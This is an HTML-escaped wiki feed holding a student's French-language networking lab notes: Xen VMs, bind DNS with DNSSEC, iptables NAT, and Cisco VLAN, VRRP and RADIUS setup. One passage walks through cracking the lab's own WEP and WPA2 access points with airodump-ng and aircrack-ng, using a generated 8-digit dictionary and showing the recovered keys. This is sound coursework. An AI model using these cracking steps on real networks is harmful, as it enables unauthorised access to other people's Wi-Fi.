service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12259</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12259"/>
		<updated>2026-02-12T15:18:34Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/network/interfaces&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24&lt;br /&gt;
    gateway 192.168.69.1&lt;br /&gt;
    &lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
